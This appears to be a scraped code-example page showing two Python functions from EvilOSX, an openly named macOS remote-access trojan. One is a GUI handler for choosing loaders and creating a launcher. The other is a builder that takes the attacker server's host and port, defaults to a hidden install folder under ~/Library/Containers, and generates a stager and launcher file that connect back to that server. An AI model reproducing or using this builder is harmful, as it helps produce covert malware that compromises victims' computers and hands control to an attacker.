Esempio n. 1
0
    def _set_on_loader_change(self, new_text):
        """Handles the loader combobox change event.

        :type new_text: str
        """
        while self._loader_layout.count():
            child = self._loader_layout.takeAt(0)

            if child.widget():
                child.widget().deleteLater()

        input_fields = []

        for message in loaders.get_option_messages(new_text):
            input_field = QLineEdit()

            self._loader_layout.addWidget(QLabel(message))
            self._loader_layout.addWidget(input_field)
            input_fields.append(input_field)

        create_button = QPushButton("Create launcher")
        create_button.setMaximumWidth(250)
        create_button.setMinimumHeight(30)
        create_button.pressed.connect(lambda: self._on_create_launcher(
            self._host_field.text(), self._port_field.text(), self._live_field.text(),
            new_text, self._launcher_combobox.currentText(), input_fields
        ))

        self._loader_layout.addWidget(QLabel(""))
        self._loader_layout.addWidget(create_button)
Esempio n. 2
0
def builder():
    server_host = input(MESSAGE_INPUT +
                        "Server host (where EvilOSX will connect to): ")
    server_port = int(input(MESSAGE_INPUT + "Server port: "))
    program_directory = input(
        MESSAGE_INPUT + "Where should EvilOSX live? "
        "(Leave empty for ~/Library/Containers/.<RANDOM>): ")

    if not program_directory:
        program_directory = "~/Library/Containers/.{}".format(
            launchers.get_random_string())

    # Select a launcher
    launcher_names = launchers.get_names()

    print(MESSAGE_INFO +
          "{} available launchers: ".format(len(launcher_names)))
    for i, launcher_name in enumerate(launcher_names):
        print("{} = {}".format(str(i), launcher_name))

    while True:
        try:
            selected_launcher = input(MESSAGE_INPUT +
                                      "Launcher to use (Leave empty for 1): ")

            if not selected_launcher:
                selected_launcher = 1
            else:
                selected_launcher = int(selected_launcher)

            selected_launcher = launcher_names[selected_launcher]
            break
        except (ValueError, IndexError):
            continue

    # Select a loader
    loader_names = loaders.get_names()

    print(MESSAGE_INFO + "{} available loaders: ".format(len(loader_names)))
    for i, loader_name in enumerate(loader_names):
        print("{} = {} ({})".format(
            str(i), loader_name,
            loaders.get_info(loader_name)["Description"]))

    while True:
        try:
            selected_loader = input(MESSAGE_INPUT +
                                    "Loader to use (Leave empty for 0): ")

            if not selected_loader:
                selected_loader = 0
            else:
                selected_loader = int(selected_loader)

            selected_loader = loader_names[selected_loader]
            break
        except (ValueError, IndexError):
            continue

    set_options = []

    for option_message in loaders.get_option_messages(selected_loader):
        set_options.append(input(MESSAGE_INPUT + option_message))

    # Loader setup
    loader_options = loaders.get_options(selected_loader, set_options)
    loader_options["program_directory"] = program_directory

    # Create the launcher
    print(MESSAGE_INFO +
          "Creating the \"{}\" launcher...".format(selected_launcher))
    stager = launchers.create_stager(server_host, server_port, loader_options)

    launcher_extension, launcher = launchers.generate(selected_launcher,
                                                      stager)
    launcher_path = path.realpath(
        path.join(
            path.dirname(__file__), "data", "builds",
            "Launcher-{}.{}".format(str(uuid4())[:6], launcher_extension)))

    with open(launcher_path, "w") as output_file:
        output_file.write(launcher)

    print(MESSAGE_INFO + "Launcher written to: {}".format(launcher_path))